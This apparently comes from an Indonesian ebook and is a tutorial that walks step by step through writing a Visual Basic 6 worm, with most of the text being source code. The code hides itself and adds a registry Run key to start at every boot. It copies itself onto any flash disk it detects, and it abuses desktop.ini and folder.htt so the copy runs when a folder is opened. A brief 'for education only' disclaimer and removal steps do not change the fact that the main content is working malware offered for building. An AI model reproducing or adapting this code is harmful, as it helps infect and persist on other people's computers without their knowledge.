1 Pembuatan Virus dengan Visual Basic Artikel berikut hanya berupa illustrasi tentang bagaimana pemrograman program virus dengan menggunakan bahasa pe...
Pembuatan Virus dengan Visual Basic Artikel berikut hanya berupa illustrasi tentang bagaimana pemrograman program virus dengan menggunakan bahasa pemrograman Visual Basic. Artikel ini tidak bertujuan melakukan penyebaran virus, tetapi hanya sekedar pendidikan. Jika anda tidak setuju dengan pernyataan tersebut diatas, segera tutup dokumen ini dan lakukan penghapusan dari system anda. 1. Tidak menampakan diri pada saat Run. Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module) Option Explicit ‘setiap variable harus dideklarasikan Sub main() App.TaskVisible = False ‘tidak tampil di taskbar Form1.Visible = False ‘tidak menampilkan form End Sub Buatlah sub main sebagai startup object program anda (Project-Project PropertiesStartup Object, Sub Main) Coba lakukan Run, apakah program anda visible (form dan taskbar) ? 2. Mengaktifkan diri setiap proses boot System. Tambahkan sebuah sub baru dengan nama virusInstall Sub VirusInstall() Dim wShell As Object Dim fSource As String Dim fTarget As String 'ambil path dan nama exe file fSource = App.Path & "\" & App.EXEName & ".exe" 'duplikasi ke folder windows fTarget = Environ$("windir") & "\MyVirus.exe" 'Periksa apakah sudah pernah install If Dir(fTarget) = "" Then Call FileCopy(fSource, fTarget) Set wShell = CreateObject("WScript.Shell") 'manipulasi registry run wShell.regwrite "HKLM\Software\Microsoft\Windows\Run\MyVirus", fTarget End If End Sub dan aktifkan sub virusInstall dari Sub Main Sub Main() App.TaskVisible = False Form1.Visible = False Call VirusInstall ‘install diri End Sub 3. Penyebaran diri melalui media flash disk
http://www.gudangprogram.blogspot.com
www.rajaebookgratis.com
• Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat) Dim infectedFlashDisk As Boolean ‘flag sudah infeksi atau belum • Tambahkan sub berikut untuk mereplikasi diri virus Public Sub replikasiDiri(targetDrive As String) Dim fSource As String Dim fTarget As String 'replikasi dari C:\Windows (lokasi instalasi diri) fSource = Environ$("windir") & "\MyVirus.exe" 'ke target drive fTarget = targetDrive + "\MyVirus.exe" 'jangan replikasi lebih dari 1 kali pada media yang sama If Dir(fTarget) = "" Then Call FileCopy(fSource, fTarget) End If End Sub • Tambahkan sub berikut untuk memantau keberadaan flashdisk Public Sub sebarFlashDisk() On Error GoTo BatalInfeksi Dim AdaFlashDisk As Boolean Dim ObjFSO As Object Dim ObjDrive As Object ‘buat file scripting object Set ObjFSO = CreateObject("Scripting.FileSystemObject") AdaFlashDisk = False For Each ObjDrive In ObjFSO.Drives 'Asumsi semua removable drive diatas huruf C adalah flash disk '1 - Removable drive '2 - Fixed drive (hard disk) '3 - Mapped network drive '4 - CD-ROM drive '5 - RAM disk If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then AdaFlashDisk = True 'jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+”:”) infectedFlashDisk = True ‘aktifkan flag sudah infeksi End If End If Next If Not AdaFlashDisk Then ‘tidak ada flashdisk infectedFlashDisk = False ‘reset flag sudah infeksi
http://www.gudangprogram.blogspot.com
www.rajaebookgratis.com
End If BatalInfeksi: End Sub • Tambahkan kontrol timer pada form1 Private Sub Timer1_Timer() Call sebarFlashDisk ‘aktifkan penyebaran flasdisk End Sub • Atur setting flag sudah infeksi dan control timer melalui sub main Sub Main() App.TaskVisible = False Form1.Visible = False Call VirusInstall 'Atur variabel global infectedFlashDisk = False 'Atur setting time Form1.Timer1.Interval = 5000 Form1.Timer1.Enabled = True End Sub 4. Membatasi pengaktifan diri hanya 1 kali Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai. • Tambahkan fungsi findWindow dari WINAPI Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long • Tambahkan fungsi sudahAktif Function sudahAktif(Title As String) As Boolean Dim vir_hwnd As Long 'Jika Jendela virus aktif 'cari Window dengan title yang sama vir_hwnd = FindWindow(vbNullString, Title) sudahAktif = Not (vir_hwnd = 0) End Function Makalah Pembuatan Virus dengan Visual Basic • Modifikasi sub Main Sub Main() Dim namaVirus As String namaVirus = "MyVirus" If Not sudahAktif(namaVirus) Then ‘jika belum aktif App.TaskVisible = False Form1.Visible = False Call VirusInstall 'Atur variabel global infectedFlashDisk = False 'Atur setting time
http://www.gudangprogram.blogspot.com
www.rajaebookgratis.com
Form1.Caption = namaVirus ‘tandai title Window Form1.Timer1.Interval = 5000 Form1.Timer1.Enabled = True End If End Sub 6. Ganti Icon MyVirus 7. Memperkecil ukuran executable virus anda Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading. Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable. Upx Project.exe Dan ukuran file setelah di-UPX adalah 8704 bytes. 8. Menghilangkan virus ini a. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value “MyVirus” b. Hapus file C:\Windows\MyVirus.exe Tips tambahan :
Melakukan eksploitasi terhadap folder.htt Membuat file desktop.ini
Sub buatDesktop_ini(targetDrive As String) Dim fTarget As String fTarget = targetDrive + "\Dekstop.ini" Open fTarget For Output As #1 Print #1, "[.ShellClassInfo]" Print #1, "ConfirmFileOp = 0" Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]" Print #1, "PersistMoniker=file://web\Folder.htt" Print #1, "[ExtShellFolderViews]" Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D411CFAE6608002B2E1262}" Close #1 SetAttr fTarget, vbReadOnly + vbHidden End Sub
Membuat file folder.htt
Public Sub buatFolder_htt(targetDrive As String) Dim fTarget As String fTarget = targetDrive + "\web\folder.htt" Open fTarget For Output As #1 Print #1, "" Print #1, "" Print #1, "<meta http-equiv=""content-type""content=""text/html; charset=Windows1252"">" http://www.gudangprogram.blogspot.com
Public Sub eksploitasi_folder_htt(targetDrive As String) Dim fSource As String Dim fTarget As String 'replikasi dari C:\Windows (lokasi instalasi diri) fSource = Environ$("windir") & "\MyVirus.exe" 'ke target drive fTarget = targetDrive + "\web" Call MkDir(fTarget) SetAttr fTarget, vbHidden fTarget = fTarget + "\My Virus.exe" 'jangan infeksi lebih dari 1 kali If Dir(fTarget) = "" Then Call FileCopy(fSource, fTarget) Call buatDesktop_ini(targetDrive) Call buatFolder_htt(targetDrive) End If End Sub Modifikasi sub replikasiDiri Public Sub replikasiDiri(targetDrive As String) Dim fSource As String Dim fTarget As String 'replikasi dari C:\Windows (lokasi instalasi diri) fSource = Environ$("windir") & "\MyVirus.exe"
http://www.gudangprogram.blogspot.com
www.rajaebookgratis.com
'ke target drive fTarget = targetDrive + "\MyVirus.exe" 'jangan infeksi lebih dari 1 kali If Dir(fTarget) = "" Then Call FileCopy(fSource, fTarget) Call eksploitasi_folder_htt(targetDrive) End If End Sub